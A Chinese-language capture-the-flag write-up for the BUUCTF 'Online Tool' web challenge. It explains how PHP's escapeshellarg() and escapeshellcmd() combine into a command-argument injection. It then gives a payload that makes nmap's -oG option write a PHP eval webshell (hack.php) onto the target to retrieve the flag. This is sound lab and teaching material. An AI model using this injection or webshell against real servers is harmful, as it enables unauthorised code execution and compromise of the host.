BUUCTF-Web-[BUUCTF 2018]Online Tool
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,题目直接给我们源码,进行审计,
1 |
|
代码不是很长,但是要构造payload需要了解一下东西,
escapeshellarg()和escapeshellcmd()
这两个是PHP中用于安全处理命令行参数的函数,但它们的组合使用有时会产生意外的结果,两个组合一起就会产生安全隐患。
escapeshellarg()
功能:将字符串转义为安全的shell参数
特点:
在整个字符串周围添加单引号
将字符串中已有的单引号转义为 '\''
(先关闭引号,转义单引号,再打开引号)
确保字符串被当作一个整体参数传递
简单案例:
1 | $input = "it's"; |
escapeshellcmd()
功能:转义shell元字符
特点:
转义以下字符:#&;|*?~<>^()[]{}$`、换行符和回车符
不添加引号
主要用于转义整个命令中的特殊字符
实例:
1 | $input = "hello;world"; |
两个一起组合如何产生漏洞
当这两个函数组合使用时(特别是先escapeshellarg再escapeshellcmd),可能会产生漏洞:
1 | $input = "' <?php code ?> -oG evil.php '"; |
Bash解析时的行为:
1.开头处:''\\''
被解析为字面字符串 \
开头的''
是空字符串
\\
被解释为字面反斜杠
''
又是空字符串
2.中间的 <?php code ?> -oG evil.php
因引号被破坏而成为独立参数
3.末尾:最后的'
→ 可能被忽略或与后续内容关联
'\\'''
可以拆解为以下部分:
'\\'
→ 单引号包裹的两个反斜杠
''
→ 空字符串
'
→ 未闭合的单引号(实际会与后续内容关联)
构造payload
1 | ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' |
nmap有一个参数-oG可以实现将命令和结果写到文件,
将一句话木马写入hack.php
文件中,相当于传入一个木马文件,
当这个字符串被拼接到nmap命令中时:
1 | nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\\''' |
转义后的字符串在Bash中解析时,PHP代码部分会被当作普通参数传递给nmap,
nmap的-oG选项允许将结果输出到文件,结合PHP标签可以创建webshell
写入成功,
获得flag